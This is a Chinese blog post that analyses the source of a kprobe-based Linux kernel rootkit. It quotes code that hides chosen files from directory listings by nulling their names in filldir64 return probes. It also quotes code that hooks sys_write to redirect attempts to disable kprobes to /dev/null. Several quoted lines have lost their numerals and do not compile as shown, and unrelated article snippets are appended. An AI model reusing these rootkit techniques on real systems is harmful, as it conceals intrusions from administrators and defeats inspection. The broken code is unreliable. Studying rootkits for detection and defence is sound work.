linux kprobe rootkit学习
介绍
《linux二进制分析》中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码
kprobe
kprobe的介绍可以看下面这几篇文章
介绍:https://www.cnblogs.com/honpey/p/4575928.html
原理:https://www.cnblogs.com/honpey/p/4575902.html
用法:https://blog.csdn.net/luckyapple1028/article/details/52972315
rootkit
用来隐藏进程,文件等信息的恶意软件
关于rootkit用来实现隐藏的一些基本操作可以在这里看见:https://www.cnblogs.com/likaiming/p/11002351.html
使用kprobe来写rootkit
作者的源码在这里:https://github.com/elfmaster/kprobe_rootkit
这里分析一下这个项目的源码
这个rootkit只是实现了文件的隐藏,其中被隐藏的文件存放在hidden_files中,定义在文件头
char *hidden_files[] =
{
#define HIDDEN_FILES_MAX 3
"test1",
"test2",
"test3"
};
在模块初始化的时候,先通过符号表来找到sys_write和filldir64这两个函数的位置
filldir64_kp.kp.addr = syswrite_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("sys_write");
filldir64_kp.kp.addr = filldir64_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("filldir64");
然后就向这两个函数的开头和结尾注册了jprobe和retprobe
//向sys_write和filldir64注入jprobe和retprobe
register_kretprobe(&filldir64_kp);
register_kretprobe(&syswrite_kp); register_jprobe(&filldir64_jp);
register_jprobe(&syswrite_jp);
同时还会去找另外3个函数的地址,get_task_comn是获得
_sys_close = (void *)n_kallsyms_lookup_name("sys_close");
_sys_open = (void *)n_kallsyms_lookup_name("sys_open");
_get_task_comm = (void*)n_kallsyms_lookup_name("get_task_comm");
然后有4个kprobe结构,包含着我们的实现代码
static struct jprobe syswrite_jp =
{
.entry = (kprobe_opcode_t *)j_sys_write
}; static struct jprobe filldir64_jp =
{
.entry = (kprobe_opcode_t *)j_filldir64
}; static struct kretprobe filldir64_kp =
{
.handler = filldir64_ret_handler,
.maxactive = NR_CPUS
}; static struct kretprobe syswrite_kp =
{
.handler = sys_write_ret_handler,
.maxactive = NR_CPUS
};
先看filldir64的两个函数
//遍历隐藏文件列表,查看是不是和隐藏文件同名
for (i = ; i < HIDDEN_FILES_MAX; i++)
if (strcmp(hidden_files[i], name) == )
found_hidden_file++;
if (!found_hidden_file)
goto end;
如果有,则记录在全局变量中
//全局指针,如果有,则记录下这么目录,
g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;
g_dentry.bypass++; // note that we want to bypass viewing this file
在返回的时候,如果发现是需要隐藏的目录,则直接清除掉
static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
{
char *ptr, null = ;
/* Someone is looking at one of our hidden files */
if (g_dentry.bypass)
{
/* Lets nullify the filename so it simply is invisible */
ptr = (char *)g_dentry.d_name_ptr;
copy_to_user((char *)ptr, &null, sizeof(char));
}
}
在write系统调用中下kprobe,是为了防止向/sys/kernel/debug/kprobes/enabled写值来禁止kprobe机制,作者只做了这个功能
可以通过get_task_comn来获取进程的可执行文件名字
_get_task_comm(comm, current);
printk("comm: %s\n", comm);
if (strcmp(comm, "ls"))
goto do_inode_check;
else
/* check to see if this is an ls stat complaint, or ls -l weirdness */
/* There are two separate calls to sys_write hence two strstr checks */
if (strstr(s, "cannot access") || strstr(s, "ls:"))
{
printk("Going to redirect\n");
goto redirect;
}
然后通过检查inode值来看写入的文件是不是/sys/kernel/debug/kprobes/enabled
//先得到file结构,然后得到dentry,最后再得到inode结构
file = fget(fd);
if (!file)
goto out;
dentry = dget(file->f_path.dentry);
if (!dentry)
goto out;
ino = dentry->d_inode->i_ino;
dput(dentry);
fput(file);
/* If someone tries to disable kprobes or tries to see our probes */
/* in /sys/kernel/debug/kprobes, it aint happening */
//enabled_ino表示的是sys/kernel/debug/kprobes/enabled的inode值
if (ino == enabled_ino)
{
printk("ino: %u\n", ino);
goto redirect;
}
else
goto out;
最后就是如果判断正确,则将这个进程输出导向NULL而不是写入/sys/kernel/debug/kprobes/enabled,具体做法就是这样
//KERNEL_DS范围很大,到0xffffffffffffffff
mm_segment_t o_fs = get_fs();
set_fs(KERNEL_DS); _sys_close(fd);
fd = _sys_open(devnull, O_RDWR, ); set_fs(o_fs);
global_fd = fd;
关于这部分的用法直接搜索就可以了,比如:https://www.cnblogs.com/bittorrent/p/3264211.html
在write写结束的位置,再关闭NULL文件就可以了。
linux kprobe rootkit学习的更多相关文章
- linux lkm rootkit常用技巧
简介 搜集一下linux lkm rootkit中常用的一些技巧 1.劫持系统调用 遍历地址空间 根据系统调用中的一些导出函数,比如sys_close的地址来寻找 unsigned long ** g ...
- 20135231 —— Linux 基础入门学习
20135231 何佳 学习计时:共12小时 读书:5 代码:2 作业:2 博客:3 一.学习目标 1. 能够独立安装Linux操作系统 2. 能够熟练使用Linux系统的基本命令 3. 熟练使用Li ...
- Linux系统新手学习的11点建议
随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起.这里介绍学习Linux的一些建议. 一.从基础开始:常常有些朋友在Linux论 ...
- Linux进程间通信IPC学习笔记之同步二(SVR4 信号量)
Linux进程间通信IPC学习笔记之同步二(SVR4 信号量)
- Linux进程间通信IPC学习笔记之同步二(Posix 信号量)
Linux进程间通信IPC学习笔记之同步二(Posix 信号量)
- Linux进程间通信IPC学习笔记之消息队列(SVR4)
Linux进程间通信IPC学习笔记之消息队列(SVR4)
- Linux进程间通信IPC学习笔记之有名管道
基础知识: 有名管道,FIFO先进先出,它是一个单向(半双工)的数据流,不同于管道的是:是最初的Unix IPC形式,可追溯到1973年的Unix第3版.使用其应注意两点: 1)有一个与路径名关联的名 ...
- Linux进程间通信IPC学习笔记之管道
基础知识: 管道是最初的Unix IPC形式,可追溯到1973年的Unix第3版.使用其应注意两点: 1)没有名字: 2)用于共同祖先间的进程通信: 3)读写操作用read和write函数 #incl ...
- Linux防火墙iptables学习笔记(三)iptables命令详解和举例[转载]
Linux防火墙iptables学习笔记(三)iptables命令详解和举例 2008-10-16 23:45:46 转载 网上看到这个配置讲解得还比较易懂,就转过来了,大家一起看下,希望对您工作能 ...
随机推荐
- 浏览器事件循环机制(event loop)
JS是单线程的 JS是单线程的,或者说只有一个主线程,也就是它一次只能执行一段代码.JS中其实是没有线程概念的,所谓的单线程也只是相对于多线程而言.JS的设计初衷就没有考虑这些,针对JS这种不具备并行 ...
- ARTS打卡计划第十周
Algorithms: https://leetcode-cn.com/problems/next-greater-node-in-linked-list/ 链表中下一个更大的值,双层循环及优化,后面 ...
- 【APUE】第3章 文件I/O (2) 函数creat、lseek、read、write使用说明
1.函数creat 可以使用creat函数创建一个新文件. #include<fcntl.h> int creat(const char *path, mode_t mode); 返回值: ...
- async for的使用
import random import asyncio async def random_number_gen(delay, start, end): while True: yield rando ...
- Qt自定义窗口部件
QtDesigner自定义窗口部件有两种方法:改进法(promotion)和插件法(plugin) 改进法 1.改进法之前,要先写好子类化QSpinBox后的HexspinBox.h和Hexs ...
- box-sizing Bootstrap
https://getbootstrap.com/docs/4.0/getting-started/introduction/#box-sizing Box-sizing For more strai ...
- Go语言中new和make的区别
Go语言中new跟make是内置函数,主要用来创建分配类型内存. new( ) new(T)创建一个没有任何数据的类型为T的实例,并返回该实例的指针: 源码解析 func new func new(T ...
- git分布式版本管理系统
Git是分布式版本管理系统Svn是集中式版本管理系统 git速度快,适合大规模协同开发 什么是分布式版本管理系统 假如有10个人,每个人的代码库都是独立的,自己想进行代码提交回滚都可以,无需链接中央服 ...
- JVM菜鸟进阶高手之路一[z]
https://mp.weixin.qq.com/s/qD1LFmsOiqZHD8iZX97OfA? 问题现象 代码如下,使用 ParNew + Serial Old 回收器组合与使用 ParNew ...
- 树莓派-Ubuntu Mate开启ssh服务
1. 运行 apt search openssh-server 查看是否安装ssh服务. 2. 如已安装,运行 sudo dpkg-reconfigure openssh-server 重新配置shh ...